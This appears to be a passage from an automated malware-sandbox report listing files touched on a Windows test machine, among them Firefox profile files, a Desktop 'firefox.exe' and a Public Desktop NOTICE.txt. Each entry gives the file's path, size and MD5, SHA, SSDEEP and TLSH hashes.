- SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
- SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
- TLSH T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
- Size 116B
- SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
- MD5 ae29912407dfadf0d683982d4fb57293
- SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
- SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
- TLSH T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\gmp-widevinecdm\4.10.3050.0\manifest.json
- Size 1002B
- SHA256 2894996540fabbd346ed4ced8386ca77d6badf60372e307ee15c906c30340d0d
- MD5 dcffff15fa618a53834ee4ae8673bd23
- SHA1 87316c1f583f438b55e3b0a94783ff9dc8f177f7
- SHA512 250c869c49c886306aa0362567cb1ccacae676f886a5b9206ce77fb92acf3af16bd574e80d01e0f97f031d6f00710af8f82c176df51994dcfb51153bed3cee46
- TLSH T139115B00DD388DD326D4BAA21CD6580A97661DAF5CC23E94379E161D8F1C8AB937376C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\gmp-widevinecdm\4.10.3050.0\widevinecdm.dll
- Size 21.6MB
- SHA256 f1216e26ee8c27f938d7722427d29f190e569ed83d0ba16ea872cae684b97602
- MD5 d14dd3f0107ff91c3e21f301d83f82b0
- SHA1 f61d7d687c9d4b3b6a6c9c0f5610025b5d3f4e45
- SHA512 de745c2ff8440d72c5616a88fc56918f4aa7de202c8c4cd7fd026d5eebebde6ee97a3a8a76f331da4c03042b7d87ba8dc2eda40bb475fb47e56df5c2795cf97d
- SSDEEP 393216:bYXajn9L4mghF5QDwW0LmruPCB78HYUUZBKvq9PW1gL2hoHH:emghF5QDwWCm/2YU8Ivq9u5K
- TLSH T14E37F18AF36350A8D84E9DF0426EAA72D0743C4E03359AEF17D47B315A727C06A79F16
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\prefs-1.js
- Size 6KB
- SHA256 16e878db41f23ad91e77a5628800b3dc27333796ffd8bb404fa01d536bbdf88d
- MD5 3a2055e9a05bb508fa1fe3c3a2141e65
- SHA1 6f3bd6ed98aee5d662de20cce9c02dba6540d713
- SHA512 35caeea0b89f701c8d9bd0c4dc224341accfae970291f0c981adf71bacb6a7118cb61d726dc3bcbbe49ef11ce00a811c618a08fa8335cf1fcb7030b19b39eeba
- SSDEEP 96:xHJUTUaPqGqUfrkzvYSHlydv9jxn7H2i525RBw8h9cnFkVGS:7qCRUfrhSHc2u25RBw8hF
- TLSH T1C7E12E7855088B7F78B6766C6C6888716AB2413B7BBF28D350B544C4015CF3842F9AEB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\prefs-1.js
- Size 6KB
- SHA256 94bfbf0dcb525125260b3e7c2a07abb8f51941a59216a54d0479cbb073e56850
- MD5 0aee7381bfaad229bc4a88a2b07793a1
- SHA1 c3e48152f9c931a3c22b47e84613c2939c923ecf
- SHA512 bab4f8b6972488fb46b8d5803d997f64273b193d37efffa527f4040bac045635595b1462f6b8b42634096cbb157704d193dcbc1eb91a6bb0b8c7870799d2e137
- SSDEEP 96:xHJUTUaPqGqUfr1zvYSHlydv9jxn7H2i525RBw8h9cnFkVGS:7qCRUfrmSHc2u25RBw8hF
- TLSH T1F1D12E7855088B7F78B6776C6C6888716AB2413B7BBF68D350B544C4015CF3842F9AEB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\prefs-1.js
- Size 8KB
- SHA256 d251d05715a0225f69f37ffb53dfe378f640988e66cc14c099810017cf8e7563
- MD5 82121139eb8ba72eb08bb1d9e23871af
- SHA1 496db16d1cb4396d5300aaa9ed0e0a30d1179722
- SHA512 c7fdfc41310ac9f3a5414ed0dffefff30b1159545f23734e2eef22d4d27dd28ebb158c6a5c80d392ff44ac09ce3498b94b4205b0220f725474aa178c68e348c6
- SSDEEP 96:xHJNTUaPqGqUfrkzvYSHlydv9jxn7WRbai525VaBw8huI8Sj2cnFkVGS:7XCRUfrhSHJR+u25UBw8hfjS
- TLSH T1F502FE385104CB7F68F6367CAC6489B06AB2413B7ABF68D650F944C5051CF3842E9AEB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\prefs-1.js
- Size 4KB
- SHA256 0a049b743b6773ccdf75f7bb8b537a2deac85ef737bed3079742595825885cda
- MD5 6165bb06f28a197506b837a5ea39b255
- SHA1 a9442f87103fa637324a0ee68b4ac3f643c8ba80
- SHA512 f29c724f7b7014d999653596c9ffa8a5f267d0a9fd0f1b940841deb662ac581b54a811b27bf7de257faedc8687e20d56a0771ac9a29cd57d7f78d21b555230cd
- SSDEEP 96:xHaEqGq+dHzvl6ElU9hneIi525R1w8h9cnn:s3R+dh6ENIu25R1w8he
- TLSH T1CDA120786508CB7F64B6776C6C758C716EB2423B77BF68C610E58484010CF3886E9AE7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\prefs.js
- Size 1KB
- SHA256 eb2c74dedac3355e2a34fe8d3eb56c384d826db812274e17c051eed91de69419
- MD5 cd6d7afb26d9282be069c8da131556ca
- SHA1 b46c5671f2d7ea826de20bf18d194af46e95f209
- SHA512 63bb3eaa36ddb850ad5b7db3c07b28fa9c42c5d20198f5cd378750264fd35773ce3da9df083527281cebf18f97769c6ca3ee48f909e91c3c755d16eca5dfa8ea
- TLSH T1CE31DEB529098F7FE4B4366CBC254960D673427AB67FAC8224B880854118F3802F29DB
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\prefs.js
- Size 5KB
- SHA256 bfb6092753178f3ff8a84cee3fcd32f9f0ed008ba8c94b31d0253b71ca578d58
- MD5 bf01be3b8801bc3667d256485fe80847
- SHA1 bd666393e87f0d2cf2c4db6010051db3d42bd2c3
- SHA512 1888a701abb03a45b0986f32bd361a85dcde9c3bf89caf0ec7b608f720ab5899787e99756c326e2909c2c701a3df5024792e0357c6f220a8cc75c388491913a0
- SSDEEP 96:xHYS3qGqUdHzvY6Eln9j9nyH2i525RBw8h9cnn:iLRUdE6ES2u25RBw8he
- TLSH T1CBB10F385548CB7F78B5776CBC6488716AB2423B7BBF68D650F54484050CF3882E9AEB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\prefs.js
- Size 6KB
- SHA256 d079aac1799f60867eb0e199165ea3b85cc7f4ea9fc0ab01c5b14f760222e42a
- MD5 b70caaf40695c8b8914762bb2a044c83
- SHA1 4c98b1edda9c10d8ff5c2bf46f082fad17751254
- SHA512 9fb310af9cd5e2bd021add27067107674559dc24d958c0211d0b9bac28d9446a3d1897b174372770e233a79bd841f4ede51d3251744fd09786b7175d1cab003b
- SSDEEP 96:xHJUTU3qGqUfHzvYSHlydv9j9n7H2i525RBw8h9cnFkI:7KRUfESHo2u25RBw8hW
- TLSH T103D12F7855088B7F78B6376C6C648871AAB2013B7BBF28D650B54484015CF3842F9AE7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
- Size 7.4MB
- SHA256 f7e89b274053955784e4191992a16fe3700b49b3173f4caf779f792cd3685a97
- MD5 4724fa736c452d1c72a5176af4ea59f4
- SHA1 cc4f5fdef8089952f480cca7ea2796035583e49e
- SHA512 d3a17aabfeb3b3d5958e0ba35a707aea67417f01976773018a0477005c31915fbd1c14c7ba6d8c5c1cbba955cc4077ce7183cc54c91acea3a4e052851a44a5d1
- SSDEEP 49152:s9yWkhn/X1pewy2D3/YaaTna4lDUmOOUoDRJB5VkKzkEVWS+LEBrEARPnOO1qPNs:wa6pa34wvaFNp7x
- TLSH T199765CE420E19253F38640B3719993FB20EFC01C6076CE48579496FAA9748EB8E577BD
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\d8000kyi.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
- Size 48KB
- SHA256 f42174e46d9086f70179788b6e470697eec13a63c0afecf00d0f118701e9b914
- MD5 bdbec7b9d0e3e105c79dd45087d4b652
- SHA1 5c3ac89b7d1519a05f70e0f91e1fdd66f44834de
- SHA512 0aa92d1e43052925d7a1fc38dd9bc9868651f5363ea4c76df77e12b4bffbfe1a837998223c4ceb69613c52652e7df0dbe699ddef18ab6d91a83b1b0b97dc4534
- SSDEEP 96:Oa16S6CKnqlizbxV+2xVeU7X2B0AZMNXCL23Cfi2f6E2A/2g42cRCH2ZC0H7mh9:Oa16S6CdFAWNyh44CfiaR/skL0H7
- TLSH T11023448D3A33AD50CB69F0B8639145AA584FB1DD0030278965D9DF8C842B1ABED1FBF5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\firefox.exe
- Size 667KB
- SHA256 81a0316cd0efdad79c3f268a0e25a6e7133e9ad6ebf970fe0db36cd4e87ff849
- MD5 af7223cf9bf7a64090d631c628eba868
- SHA1 7a3f7927c2539bea7a877e1a966304302a093139
- SHA512 f33a766daaaf593c22cd3dca277d4a62203280195496e2015ac1e5b7aaade0eb9af67b7f9596c206e04be2aea856b86f70d113ffb9aadeb15517e943daed410c
- SSDEEP 12288:sOC854ZTW7EOggJXnJoU7s8oNXhaTWEJX36LW9zwHJem7OzwHJe0Ihf7Ez:sOvG1kQ8oNxaqIn4SwpemIwpelzEz
- TLSH T115E49E03F38516F8E48AD5B49A42D233E5723C840B51A1DB1BE93F2A3E71AD15B7876C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Desktop\NOTICE.txt
- Size 84B
- SHA256 cc3ab5e396a7004b96d28b691949d15d277e0ebe24919381bc93a93e9c328aff
- MD5 fea7f45079049cbe7fd5d9c2ec350460
- SHA1 aece1e0f99a42884c9324c5b0fa1c5014b0542fd
- SHA512 fcb3f26019a2a2c1627b0ff76586fc0e0bd0b562fc99b6afde760945c9d5398e16797f7515049bb961a0b24ee91ba29472d593c49de024807cbfa2c6e6006c73
- TLSH T169A012740016704A00070A0F13242471244410B9812C85B62E0003D841444661DC5510
- MD5 SHA1 SHA512 TLSH